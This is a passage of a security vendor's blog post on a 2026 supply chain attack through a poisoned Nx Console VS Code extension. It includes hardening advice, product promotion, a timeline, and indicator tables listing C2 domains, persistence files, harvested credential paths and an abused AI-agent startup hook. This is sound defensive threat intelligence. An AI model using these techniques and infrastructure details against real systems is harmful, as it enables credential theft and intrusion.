  • Default npm install to –ignore-scripts in CI and accept that some packages will fail. Investigate the failures; most will be either legitimate native modules with documented build steps, or packages whose lifecycle script use is suspect enough to merit review.
  • Use pnpm v10+ or Bun-as-installer where possible. Both disable lifecycle scripts by default and require explicit opt-in. This is a meaningful security improvement over npm’s defaults.
  • Enforce dependency cooldowns of 24 to 72 hours for non-critical updates. Public detection of supply chain attacks typically lands within hours; a short hold provides a real detection window. The Bitwarden CLI compromise was detected and deprecated in 93 minutes, but Dependabot pulled the package during that window because no cooldown was in place.
  • Configure CI runners with IMDSv2 and a hop limit of 1 so containerized builds cannot reach instance metadata. This blocks the IMDS credential pivot path TeamPCP has used in every campaign since Trivy.
  • Apply egress firewall rules to CI runners. Allow GET to the npm registry and to github.com/oven-sh/bun/releases only if Bun is part of your stack. Block PUT and POST to the npm registry from runners that do not publish packages.

Long-Term Hardening

OIDC trusted publishing is a security improvement over long-lived tokens, but only when the workflow producing the short-lived token is itself trusted and workflow-scoped. Audit every pull_request_target workflow that has access to publishing identities. Require manual approval for first-party publish workflows triggered by pull requests.

Enforce signed commits at branch protection for all release-adjacent branches, including non-main branches that can trigger publish workflows. The Bitwarden compromise commit was unsigned in a repository requiring signed commits, which was a visible integrity signal at the moment of exploitation. The same pattern recurred across the Trivy and KICS tag-poisoning attacks.

Maintain a centralized allowlist for VS Code extensions across the organization. Treat the developer IDE the same way you treat production runtime: a controlled deployment environment with managed inventory.

Consider a supply chain firewall product (sometimes called a package firewall or malware firewall) that performs real-time analysis of npm/PyPI installs and blocks based on policy. These tools require another agent on developer machines and are only as good as their malware feeds, but they catch a class of attack that EDR and SCA both miss.

Phoenix Security platform recommendations

The GitHub breach lines up with the controls Phoenix Security has been building against for the last six months. The short version: a CVE-feed-driven program will miss the modern supply chain attacker entirely. The longer version is what Phoenix does about it.

Code-to-cloud attribution maps every package, extension, and lifecycle script in the environment back to the team that owns it and forward to the workloads where the code runs. A compromised VS Code extension or npm package is contextualized against actual production blast radius, rather than against an abstract CVSS score that does not exist for this class of attack anyway.

Reachability-driven blast radius analysis is the only way to make –ignore-scripts policy decisions at scale without breaking legitimate builds. Rather than flagging every package with a lifecycle hook as critical, Phoenix identifies which hooks are reachable in a specific dependency graph and execution context, and then maps the downstream credential and package-publishing exposure for each.

Lifecycle script change detection flags new or changed preinstall, postinstall, and prepare entries across the dependency graph the moment they appear. The same detection logic flags the more recent variant the Nx Console attack used: a bin field that points at an orphan-commit npx fetch, which evades lifecycle-hook scanners by relying on the binary entry point rather than postinstall.

Provenance verification needs to be more than a signature check. The Nx Console payload includes full Fulcio, Rekor, SLSA, and npm OIDC integration, which means packages with valid signed provenance can still be malicious. Phoenix performs content-based and behavioral analysis on the package itself in addition to provenance verification, so a forged-but-cryptographically-valid attestation does not get a pass purely on signature.

Phoenix maps pull_request_target workflows with sensitive permission grants across an entire GitHub organization. Configurations that match the TeamPCP initial access pattern (the Bitwarden vector, the Trivy vector, the Checkmarx vector, and the Nx contributor-token theft vector) surface before compromise occurs, not after.

When a compromise is confirmed or suspected, Phoenix creates a remediation campaign that maps every affected repository, assigns ownership, and tracks fix verification against runtime exposure. Incident response stops being distributed manual work and becomes a tracked workflow with named owners.

Developer tooling is treated as Tier-0 in this model. Phoenix monitors the supply chain posture of Trivy, KICS, Bitwarden CLI, LiteLLM, Nx Console, and similar tools with the same controls applied to production dependencies. The pattern this year has demonstrated that security tooling is not trusted infrastructure. It is a high-value attack surface, and a CVE list is not the right inventory of it.

The winning control against this class of attack is provenance tracking, ownership mapping, code-to-cloud attribution, CI workflow visibility, reachability-driven blast radius reduction, and content-based analysis that does not rely solely on signature verification. A CVE feed does not produce any of those signals. ASPM is where the work has to be done.

Timeline (May 18–20, 2026)

Time (UTC)Event
Prior incident, date undisclosedNx contributor’s GitHub PAT scraped in an earlier supply chain attack (specific prior attack not publicly identified)
May 18, 03:18Orphan commit 558b09d7 pushed to nrwl/nx under spoofed identity (zack@nrwl.io, unsigned); commit message includes fake “wiper activates” social-engineering threat
May 18, 12:36nrwl.angular-console v18.95.0 published to VS Code Marketplace using stolen VSCE_PAT
May 18, 12:36–12:47Auto-update window. Any VS Code, Cursor, or Windsurf instance that updated during these 11 minutes and then opened a workspace executed the dropper
May 18, 12:47Nx maintainers detect rogue publish, pull extension from Marketplace, publish GHSA-c9j4-9m59-847w
May 18, laterNx publishes remediated v18.100.0
May 18, 14:19 (sample)StepSecurity Dev Machine Guard scans publicly published showing detection of the malicious version on affected endpoints
May 19, ~during dayWiz Research publishes coordinated @antv compromise writeup; identifies nrwl.angular-console v18.95.0 as part of the same TeamPCP wave alongside the @antv npm namespace and actions-cool/issues-helper
May 19GitHub detects compromise of employee device, removes the extension, isolates the endpoint, begins incident response
May 19, evening UTCGitHub publishes initial X post acknowledging investigation of unauthorized access to internal repositories
May 19, overnightCritical secret rotation begins; highest-impact credentials prioritized first
May 20, ~03:00 UTCTeamPCP listing on cybercrime forums for sale of ~4,000 GitHub-internal repositories, offers above $50,000
May 20, 05:04 (GitHub post timestamp)GitHub publishes follow-up thread: detected and contained, removed the malicious extension version, isolated the endpoint, confirms attacker’s ~3,800-repo claim is directionally consistent with investigation
May 20, ongoingLog analysis, secret rotation validation, monitoring for follow-on activity

Indicators of Compromise

Nx Console payload (May 18, 2026)

TypeIndicatorContext
Malicious VSIX SHA-2561a4afce34918bdc74ae3f31edaffffaa0ee074d83618f53edfd88137927340b8nrwl.angular-console v18.95.0 package
Malicious main.js SHA-256b0cefb66b953e5184b6adb3035e9e267335ac5eabfe1848e07834777b9397b74Extension entry point with 2,777 bytes injected at offset 7,703,700
Obfuscated payload SHA-256e7347d90653efc565f03733a95e9209d78f9cfa81e31ff2b2dd9d48d75a4b8b1498 KB index.js from orphan commit
Dropper package.json SHA-25643f2b001846c4966073ebffa5be8f15e491a1e7d32bbd805d57406ff540e0dd9Two-file repo root in orphan commit tree
Clean VSIX SHA-256228a2cf081d4cbea9b91cde14a8f9c4a4d003e7f32431496953fd6bac266f5a3v18.94.0 (legitimate prior)
Remediated VSIX SHA-256cb86f4f223daa54467c7782a0d8607e9c84e2bb633e6f0e51d9a19579e200990v18.100.0 (clean update target)
Malicious orphan commit SHA558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2Zero parents, unreachable from any branch in nrwl/nx
Commit tree SHAba642fe2c7c65e42dd7f6444b83023dc6827e08cTwo-file tree replacing entire monorepo
index.js blob SHAacfc3f957a63b4cde93ff645f2b6bf26a8ed1bbfObfuscated dropper
package.json blob SHA9d88f040c44b5f4d5f9db15ff89310776c168e99Dropper manifest
Persistence file~/.local/share/kitty/cat.pyPython C2 backdoor
Persistence file~/Library/LaunchAgents/com.user.kitty-monitor.plistmacOS LaunchAgent (RunAtLoad + hourly)
Staging directory/tmp/kitty-*Bun runtime staging
Anti-replay state/var/tmp/.gh_update_stateBackdoor execution record
VS Code globalState keynxConsole.mcpExtensionInstalledSha = 558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2Anti-re-trigger marker
Environment variable__DAEMONIZED=1Daemonization flag on detached child process
Process indicatorpython3 with cat.py argumentActive C2 polling
Network: C2 dead-dropapi.github.com/search/commits?q=firedalazerPython backdoor hourly poll
Network: AWS pivot169.254.169.254 (IMDS), 169.254.170.2 (ECS metadata)AWS credential theft
Network: Vault probe127.0.0.1:8200HashiCorp Vault local endpoint
Network: Sigstorefulcio.sigstore.dev, rekor.sigstore.devAttestation forgery infrastructure
Network: runtime downloadbun.sh/installBun runtime install for persistence
Network: encrypted C2(PBKDF2-encrypted in payload; not statically recoverable)HTTPS exfiltration channel on port 443

Domains and network (cross-campaign TeamPCP indicators)

TypeIndicatorContext
C2 / Exfilaudit.checkmarx[.]cxBitwarden CLI compromise; resolves 94.154.172.43
C2 / Exfilcheckmarx[.]zoneKICS / AST / OpenVSX compromise
C2 / Exfilscan.aquasecurtiy[.]orgTrivy stealer (typosquat of aquasecurity); 45.148.10.212
C2 / Exfilgit-tanstack[.]comMini Shai-Hulud TanStack wave
C2 / Exfilapi.masscan[.]cloudMini Shai-Hulud TanStack wave
C2 (DDoS)*.lhr.lifeMini Shai-Hulud copycat C2 (free SSH-tunnel-as-a-service)
C2*.getsession.orgSession messenger peer-to-peer C2 channel
ICP gateway*.icp0.ioCanisterWorm blockchain C2

Files and process artifacts (cross-campaign)

TypeIndicatorContext
Loaderbw_setup.js (132 lines plaintext)Bun runtime bootstrap (Bitwarden)
Loadersetup.mjsMini Shai-Hulud npm preinstall hook
Loaderrouter_init.jsMini Shai-Hulud TanStack variant
Loadertanstack_runner.jsTanStack-specific payload
Persistence~/.local/share/pgmon/service.pyCanisterWorm systemd persistence
Persistence~/.config/sysmon.pyTrivy binary dropper
Persistence/tmp/tmp.987654321.lockBitwarden CLI single-instance guard
Workflow.github/workflows/format-check.ymlInjected secrets-dump workflow
Artifactformat-results.txtSerialized secrets exfil from injected workflow
Config.vscode/tasks.json with runOn: folderOpenTasksJacker / PolinRider / Mini Shai-Hulud
Config.claude/settings.json with SessionStart hookAI agent persistence (Mini Shai-Hulud)

Repository markers

TypeIndicator
Repository description“Shai-Hulud: The Third Coming”
Repository description“Mini Shai-Hulud”
Repository naming pattern{dune_word}-{dune_word}-{3digits}
GitHub search stringLongLiveTheResistanceAgainstMachines
GitHub search stringOhNoWhatsGoingOnWithGitHub
GitHub search stringA Gift From TeamPCP
GitHub search string (Nx Console payload C2)firedalazer

MITRE ATT&CK Techniques

TechniqueDescriptionCampaign Application
T1195.002Supply Chain Compromise: Software Supply ChainPoisoned VS Code extension, npm packages, GitHub Actions, container images
T1195.001Supply Chain Compromise: Software Dependencies and Development ToolsExtension marketplace abuse, lifecycle script weaponization, orphan-commit dropper
T1199Trusted Relationshipnpm Trusted Publishing OIDC abuse, Sigstore attestation forgery
T1059.004Command and Scripting Interpreter: Unix ShellVS Code Task ShellExecution with disguised install-mcp-extension name
T1059.006Command and Scripting Interpreter: Pythoncat.py C2 backdoor
T1003OS Credential Dumping/proc/[pid]/mem reading for Runner.Worker secrets
T1552.001Unsecured Credentials: Credentials in Files.npmrc, .aws/credentials, .git-credentials, .env, ~/.claude/ harvesting
T1552.004Unsecured Credentials: Private KeysSSH keys, TLS material
T1552.005Cloud Instance Metadata APIEC2 IMDS for credential pivot
T1543.001Create or Modify System Process: Launch Agentcom.user.kitty-monitor.plist macOS LaunchAgent
T1543.002Create/Modify System Process: Systemd Servicepgmon.service persistence (CanisterWorm)
T1546Event Triggered ExecutionVS Code Task auto-run, preinstall hook, AI agent SessionStart hook
T1547.006Boot or Logon Autostart ExecutionShell RC injection (~/.bashrc, ~/.zshrc)
T1102.001Web Service: Dead Drop ResolverGitHub Search API polling for firedalazer commits
T1567.002Exfiltration to Cloud StorageVictim-account GitHub repositories as dead drop
T1572Protocol TunnelingDNS tunneling as fallback exfil channel
T1132Data EncodingAES-256-GCM + RSA-OAEP-SHA256 hybrid encryption
T1027.013Obfuscated Files: Encrypted/Encoded FilePBKDF2 + custom-Base64 string table + 14 encrypted binary blobs
T1078Valid AccountsStolen contributor GitHub PAT and VSCE_PAT
T1548.003Abuse Elevation Control Mechanism: Sudo and Sudo CachingLinux passwordless-sudo injection
T1497.001Virtualization/Sandbox Evasion: System ChecksCPU count check, geolocation filter, GitHub Actions self-exclusion

External References

  1. GitHub on X (@github), May 20, 2026: Incident disclosure thread on internal repository breach
  2. StepSecurity: Nx Console v18.95.0 VS Code Extension Supply Chain Attack Technical Analysis (May 18-19, 2026)
  3. Nx maintainers: GitHub Security Advisory GHSA-c9j4-9m59-847w (May 18, 2026)
  4. Nx Console Issue #3139: Maintainer MaxKless confirms contributor GitHub token theft as initial access vector
  5. KuCoin News: GitHub Confirms Internal Repository Breach via Malicious VS Code Extension (May 20, 2026)
  6. Wiz Research: The Worm That Keeps on Digging: TeamPCP Hits @antv in Latest Wave (May 19, 2026)
  7. Wiz Research: Dismantling a Critical Supply Chain Risk in VSCode Extension Marketplaces (Rami McCarthy, October 15, 2025)
  8. OpenSourceMalware (jenn): How malware abuses npm lifecycle scripts and VS Code tasks (May 14, 2026)
  9. Datadog Security Labs: Shai-Hulud Goes Open Source (May 2026)
  10. OX Security: Shai-Hulud Goes Open Source: Malware Creators Leak Their Own Code to GitHub
  11. OX Security: New Actors Deploy Shai-Hulud Clones: TeamPCP Copycats Are Here
  12. The Register: Malware crew TeamPCP open-sources its Shai-Hulud worm on GitHub (May 13, 2026)
  13. SC Media: TeamPCP releases ‘vibe coded’ Shai-Hulud source code, issues challenge
  14. Hive Pro: Mini Shai-Hulud npm Supply Chain Worm: TanStack and Multi-Ecosystem Compromise
  15. Aikido Security: Mini Shai-Hulud Is Back
  16. SecurityWeek and Security Boulevard: TeamPCP / Mini Shai-Hulud coverage and 1,800+ developer count
  17. Microsoft VSCode Marketplace: Upcoming Security Enhancement: Secret Detection for Extensions
  18. StepSecurity Dev Machine Guard (open source): github.com/step-security/dev-machine-guard
  19. Phoenix Security: Sha1-Hulud Full Analysis V3 and prior Phoenix Security archive at phoenix.security
  20. Phoenix Security Shai-Hulud scanner: github.com/Security-Phoenix-demo/Shai-Hulud-Sha1-Hulud-V2-npm-compromise-scanner
  21. CybersecurityNews: GitHub Hacked: Internal Source Code Repositories Compromised via Employee Device (May 20, 2026)
  22. How2Shout: GitHub Confirms Internal Repository Breach: 3,800 Repos Exfiltrated via Poisoned VS Code Extension
  23. News9: GitHub Internal Repo Breach Probe: TeamPCP Claim, VS Code Extension Attack, Customer Data Status (UNC6780 attribution)
  24. SlowMist Threat Intelligence Team: MistEye TI Alert on Mini Shai-Hulud propagation through @antv, echarts-for-react, durabletask
Francesco is an internationally renowned public speaker, with multiple interviews in high-profile publications (eg. Forbes), and an author of numerous books and articles, who utilises his platform to evangelize the importance of Cloud security and cutting-edge technologies on a global scale.

Discuss this blog with our community on Slack

Join our AppSec Phoenix community on Slack to discuss this blog and other news with our professional security team

From our Blog

TeamPCP’s Mini Shai-Hulud worm hit GitHub and PyPI simultaneously on May 19–20, 2026. Three backdoored versions of durabletask — Microsoft’s Azure Python SDK with 417,000 monthly downloads — were published and yanked within hours. A poisoned VS Code extension on a GitHub employee device led to the exfiltration of ~3,800 internal repositories, now listed for sale at $50,000. Zero CVEs exist across the entire nine-week campaign. Traditional scanners have no record of any of it.
Francesco Cipollone
OpenAI has disclosed two employee devices were compromised in the May 11, 2026 Mini Shai-Hulud TanStack supply chain attack, with internal source code repositories accessed and iOS, macOS, and Windows code-signing certificates rotated. Mistral AI confirmed one developer device was hit and is facing a $25,000 TeamPCP extortion demand for an alleged 5 GB source code leak. Days later, TeamPCP launched a $1,000 Monero “supply chain attack contest” on BreachForums with the Shai-Hulud worm source code attached, and OX Security disclosed the first observed copycat campaign from a new actor publishing four malicious npm packages. Phoenix Security’s PHX-Neural scanner has independently flagged a 174,659-weekly-download PyPI package (nicegui 3.12.0) with a 100/100 behavioral score and full Shai-Hulud-aligned ATT&CK coverage. This article covers the upstream TanStack wave, the named victim disclosures, the TeamPCP infrastructure aging analysis, the technical breakdown of the four copycat packages, and the PHX-Neural behavioral evidence on the adjacent PyPI signal.
Francesco Cipollone
Contents
Derek

Derek Fisher

Head of product security at a global fintech

Derek Fisher – Head of product security at a global fintech. Speaker, instructor, and author in application security.

Derek is an award winning author of a children’s book series in cybersecurity as well as the author of “The Application Security Handbook.” He is a university instructor at Temple University where he teaches software development security to undergraduate and graduate students. He is a speaker on topics in the cybersecurity space and has led teams, large and small, at organizations in the healthcare and financial industries. He has built and matured information security teams as well as implemented organizational information security strategies to reduce the organizations risk.

Derek got his start in the hardware engineering space where he learned about designing circuits and building assemblies for commercial and military applications. He later pursued a computer science degree in order to advance a career in software development. This is where Derek was introduced to cybersecurity and soon caught the bug. He found a mentor to help him grow in cybersecurity and then pursued a graduate degree in the subject.

Since then Derek has worked in the product security space as an architect and leader. He has led teams to deliver more secure software in organizations from multiple industries. His focus has been to raise the security awareness of the engineering organization while maintaining a practice of secure code development, delivery, and operations.

In his role, Jeevan handles a range of tasks, from architecting security solutions to collaborating with Engineering Leadership to address security vulnerabilities at scale and embed security into the fabric of the organization.

Jeevan Singh

Jeevan Singh

Founder of Manicode Security

Jeevan Singh is the Director of Security Engineering at Rippling, with a background spanning various Engineering and Security leadership roles over the course of his career. He’s dedicated to the integration of security practices into software development, working to create a security-aware culture within organizations and imparting security best practices to the team.
In his role, Jeevan handles a range of tasks, from architecting security solutions to collaborating with Engineering Leadership to address security vulnerabilities at scale and embed security into the fabric of the organization.

James

James Berthoty

Founder of Latio Tech

James Berthoty has over ten years of experience across product and security domains. He founded Latio Tech to help companies find the right security tools for their needs without vendor bias.

christophe

Christophe Parisel

Senior Cloud Security Architect

Senior Cloud Security Architect

Chris

Chris Romeo

Co-Founder
Security Journey

Chris Romeo is a leading voice and thinker in application security, threat modeling, and security champions and the CEO of Devici and General Partner at Kerr Ventures. Chris hosts the award-winning “Application Security Podcast,” “The Security Table,” and “The Threat Modeling Podcast” and is a highly rated industry speaker and trainer, featured at the RSA Conference, the AppSec Village @ DefCon, OWASP Global AppSec, ISC2 Security Congress, InfoSec World and All Day DevOps. Chris founded Security Journey, a security education company, leading to an exit in 2022. Chris was the Chief Security Advocate at Cisco, spreading security knowledge through education and champion programs. Chris has twenty-six years of security experience, holding positions across the gamut, including application security, security engineering, incident response, and various Executive roles. Chris holds the CISSP and CSSLP certifications.

jim

Jim Manico

Founder of Manicode Security

Jim Manico is the founder of Manicode Security, where he trains software developers on secure coding and security engineering. Jim is also the founder of Brakeman Security, Inc. and an investor/advisor for Signal Sciences. He is the author of Iron-Clad Java: Building Secure Web Applications (McGraw-Hill), a frequent speaker on secure software practices, and a member of the JavaOne Rockstar speaker community. Jim is also a volunteer for and former board member of the OWASP foundation.

Join our Mailing list!

Get all the latest news, exclusive deals, and feature updates.

The IKIGAI concept
x  Powerful Protection for WordPress, from Shield Security PRO
This Site Is Protected By
Shield Security PRO